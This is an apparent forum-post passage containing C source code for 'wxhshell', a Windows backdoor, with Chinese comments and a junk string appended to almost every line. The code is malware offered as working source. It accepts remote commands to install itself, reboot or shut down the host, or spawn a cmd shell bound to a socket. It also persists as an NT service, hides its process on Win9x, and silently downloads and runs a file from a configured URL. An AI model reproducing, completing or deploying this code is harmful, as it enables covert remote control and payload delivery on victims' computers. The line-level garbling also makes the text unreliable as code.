    switch(cmd[0]) { -a[[1  
  )s#NQ.T[  
  // 帮助 k;7R3O@  
  case '?': { lmsO 6=I4F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 35;UE2d)<  
    break; x|7vN E=Q  
  } {?!0<0  
  // 安装 /k$H"'`j4  
  case 'i': { 'aN`z3T  
    if(Install()) bu2@~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q5ZZ4`K!  
    else I[x+7Y0k9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %2S+G?$M?  
    break; >V01%fLd  
    } I^u$H&  
  // 卸载 !,SGKLs.m  
  case 'r': { Q; V*M  
    if(Uninstall()) Fm{/&U^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 71RG1,  
    else Y:x,pPyl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x)]_]_vX  
    break; ]-rhc.Gk@1  
    } ym]12PAU5  
  // 显示 wxhshell 所在路径 5PcN$r"P  
  case 'p': { KTmduf7DL  
    char svExeFile[MAX_PATH]; Ar;uq7c,G  
    strcpy(svExeFile,"\n\r"); 6Mh;ld@  
      strcat(svExeFile,ExeFile); F2N)|C<  
        send(wsh,svExeFile,strlen(svExeFile),0); sy\w ^]  
    break; wU"0@^k]<  
    } k2-:! IE  
  // 重启 ~!Ar`= [  
  case 'b': { o94]:$=~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vgj&h dbd  
    if(Boot(REBOOT)) A>bpP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ycD}7  
    else { ~xp(k  
    closesocket(wsh); SU` RHAo  
    ExitThread(0); $-=QTX  
    } TJ5g? #Wul  
    break; P3W<a4 ==  
    } ^zfO=XN  
  // 关机 l%f &vOcd  
  case 'd': { ].!^BYNht  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ytDp 4x<W)  
    if(Boot(SHUTDOWN)) 7 6} a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `R\nw)xq  
    else { Miw*L;u@W  
    closesocket(wsh); +=N!37+G  
    ExitThread(0); as k76  e  
    } x!i(M>P  
    break; |_} LMkU)  
    } 2w7PwNb*32  
  // 获取shell #^] v5s  
  case 's': { 4PcsU HR  
    CmdShell(wsh); H[x$65ND  
    closesocket(wsh); YVcO+~my  
    ExitThread(0); 0DZ}8"2  
    break; )' hOW*v  
  } Q4[^JQsR2  
  // 退出 Cj +{%^#  
  case 'x': { H}p5qW.tH:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @:ojt$  
    CloseIt(wsh); nZtP!^#  
    break; b@> MA  
    } 5;alq]m7  
  // 离开 )5j1;A:gr  
  case 'q': { ! D \u2h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K:cZ q3F  
    closesocket(wsh); ^z^zsNx  
    WSACleanup(); }5nVZ;  
    exit(1); j-CSf(qIj  
    break; qs|{  
        } k%gO  
  } O/N@ Gz[g%  
  } V~~4<?=A  
{!/ha$(  
  // 提示信息 J}{a&3@Hm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C 7a$>#%  
} G9YfJ?I  
  } f)b+>!  
CD"D^\z  
  return; 89kxRH\IhG  
} j{`C|zg  
&hSABtr}  
// shell模块句柄 )*CDufRFz  
int CmdShell(SOCKET sock) [dXpz^Co  
{ ^tr?y??k  
STARTUPINFO si; C-:lM1  
ZeroMemory(&si,sizeof(si)); HO`N]AMw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CC~:z/4,N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nF#1B4b>  
PROCESS_INFORMATION ProcessInfo; !VzbNJ&'  
char cmdline[]="cmd"; K!cLEG!G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 26D,(Y$*  
  return 0; b<]Ae!I'  
} li +MnLt  
-"9&YkN  
// 自身启动模式 :MFF*1  
int StartFromService(void) 3%0ShMFP@  
{ {~y,.[Ga  
typedef struct %RS~>pK1  
{ <|kS`y  
  DWORD ExitStatus; 7%0V?+]P  
  DWORD PebBaseAddress; bgNN0,+8  
  DWORD AffinityMask; |({ M8!BS  
  DWORD BasePriority; qrw"z iW  
  ULONG UniqueProcessId; ih[!v"bv  
  ULONG InheritedFromUniqueProcessId; $.0l% $7  
}   PROCESS_BASIC_INFORMATION; Pqtk1=U  
[vV5@nP:  
PROCNTQSIP NtQueryInformationProcess; )zK6>-KWA  
CBrC   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A7c*qBt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <5t2+D]]}  
kM;fxR:-  
  HANDLE             hProcess; u;/5@ADW  
  PROCESS_BASIC_INFORMATION pbi; <,:5d2mM.  
NE1n9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %vZTD +i  
  if(NULL == hInst ) return 0; 9()d7Y#d/`  
GLpl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x[dR5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YK V?I   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^fq^s T.$  
Gp.XTz#=  
  if (!NtQueryInformationProcess) return 0; x,rK4L7U  
t)__J\xF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ui43&B  
  if(!hProcess) return 0; N0POyd/rL  
 D_D76  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !*1Kjg3  
>DSD1i+N  
  CloseHandle(hProcess); d&x #9ka  
5?=haGn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a^xt9o`  
if(hProcess==NULL) return 0; y~Ts9AE  
" R5! VV  
HMODULE hMod; >K@Y8J+ e#  
char procName[255]; .gP}/dj  
unsigned long cbNeeded; ;+3XDz v  
7+2DsZ^6MW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KM:k<pvi  
8TH fFL  
  CloseHandle(hProcess); >oHgs  
Q?xCb  
if(strstr(procName,"services")) return 1; // 以服务启动 q,% lG$0v  
g-8D1.U  
  return 0; // 注册表启动 $uj3W<iw3E  
} B(t`$mC  
AC}[Q p!  
// 主模块 N, SbJ Z  
int StartWxhshell(LPSTR lpCmdLine) M8y:FDX  
{ TYH4r q &  
  SOCKET wsl; ,3P@5Ef  
BOOL val=TRUE; S9mcThcZ  
  int port=0; TR J5m?x  
  struct sockaddr_in door; "IuHSjP  
&WV&_z  
  if(wscfg.ws_autoins) Install(); (M;jnQ0  
Zjq(]y  
port=atoi(lpCmdLine); SF. Is=b  
vP @\"  
if(port<=0) port=wscfg.ws_port; =6Q\78b  
?igA+(.  
  WSADATA data; p*5QV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P ?A:0a  
VoG:3qN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   69iY)Ob/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cME|Lg(J$  
  door.sin_family = AF_INET; {?YBJnG}x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u_*DS-  
  door.sin_port = htons(port); (O-.^VV  
$TZjSZ1w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jnzOTS   
closesocket(wsl); 9=5xt;mEs}  
return 1; /!A?>#O&.  
} O]cuJp  
{Q~HMe`,  
  if(listen(wsl,2) == INVALID_SOCKET) { aUYq~E tj  
closesocket(wsl); ,>Yl(=&  
return 1; 4^3lG1^YY  
} 1@<PcQBp  
  Wxhshell(wsl); oksAQnQe  
  WSACleanup(); 6+LBs.vl}  
u5O`|I@R  
return 0; S9kA69O  
< .knM  
} AV]7l}-  
4T??8J-J  
// 以NT服务方式启动 LM2S%._cj;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $i9</Es P  
{ es!>u{8)  
DWORD   status = 0; w^Atd|~gi  
  DWORD   specificError = 0xfffffff; ESyb34T`  
e$l*s/"0t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8$~^-_>n/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &G$K. q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UNF@%O4_T  
  serviceStatus.dwWin32ExitCode     = 0; DcRvZH  
  serviceStatus.dwServiceSpecificExitCode = 0; >`=9So_J  
  serviceStatus.dwCheckPoint       = 0; k; (r:k^  
  serviceStatus.dwWaitHint       = 0; $, vX yZ  
e.Gjp {  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >)*0lfxTZ  
  if (hServiceStatusHandle==0) return; ]WvV*FL9D3  
:x[SV^fw[  
status = GetLastError(); 5MHc gzyp  
  if (status!=NO_ERROR) #D ]P3  
{ ^|UD&6 dx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E2i'lO\P  
    serviceStatus.dwCheckPoint       = 0; :>K8oE  
    serviceStatus.dwWaitHint       = 0; t->I# t7  
    serviceStatus.dwWin32ExitCode     = status; P<C=9@`!  
    serviceStatus.dwServiceSpecificExitCode = specificError; zFm:=,9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y{I,ipU.  
    return; 1)t*l;.  
  } B*OBXN>'P  
wO&+Bb\=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F S!D  
  serviceStatus.dwCheckPoint       = 0; *nx$r[Mqj  
  serviceStatus.dwWaitHint       = 0; 21sXCmYR,t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5*\]F}  
} t|?eNKVV9'  
V: n\skM  
// 处理NT服务事件,比如:启动、停止 d=eIsP'h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :x3"Cj  
{ ^ ^T xx  
switch(fdwControl) [9d4 0>e  
{ `Rx\wfr}  
case SERVICE_CONTROL_STOP: %V|n2/O Y  
  serviceStatus.dwWin32ExitCode = 0; /2>.*H_2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NnRX0]  
  serviceStatus.dwCheckPoint   = 0; &a!MT^anA~  
  serviceStatus.dwWaitHint     = 0; !X4m6gRaP  
  { S1a6uE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SsCV}[  
  } ?+G / 5,e  
  return; @iBaJ"*,  
case SERVICE_CONTROL_PAUSE: 2*5pjd{Kt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^i!I0Q2yd  
  break; vw6DHN)k  
case SERVICE_CONTROL_CONTINUE: \rM5@ Vf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ows 3%  
  break; +} x\|O  
case SERVICE_CONTROL_INTERROGATE: O39f  
  break; N oRPvFv  
}; fL~@v-l#~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !g4u<7  
} ymb{rKkN3  
m[qW)N:w  
// 标准应用程序主函数 x5R|,bY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _sK{qQxvM=  
{ pEq }b+-  
in7h^6?I  
// 获取操作系统版本 2" u,f  
OsIsNt=GetOsVer(); ,t +sw4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gX]ewbPDQ  
|ITh2m  
  // 从命令行安装 f~:wI9  
  if(strpbrk(lpCmdLine,"iI")) Install(); gMsB1|  
`+!F#.  
  // 下载执行文件 j:7AVnt  
if(wscfg.ws_downexe) { u;9a/RI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c@Xb6z_>  
  WinExec(wscfg.ws_filenam,SW_HIDE); heScIe N^`  
} .oqe0$I  
u]Z;Q_=  
if(!OsIsNt) { 0M!GoqaA  
// 如果时win9x,隐藏进程并且设置为注册表启动 g\1|<jb3  
HideProc(); .u:aX$t+  
StartWxhshell(lpCmdLine); :6J&%n  
} /vs79^&  
else Ch_eK^ g1  
  if(StartFromService()) RMHJI6?LB  
  // 以服务方式启动 e2kW,JV/<$  
  StartServiceCtrlDispatcher(DispatchTable); }H:wgy`  
else LZDJ\"a-  
  // 普通方式启动 INY?@in  
  StartWxhshell(lpCmdLine); rE%H NPO  
h_5CWQSi  
return 0; 2  ZyO  
}
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只看该作者 1 发表于: 2006-10-10
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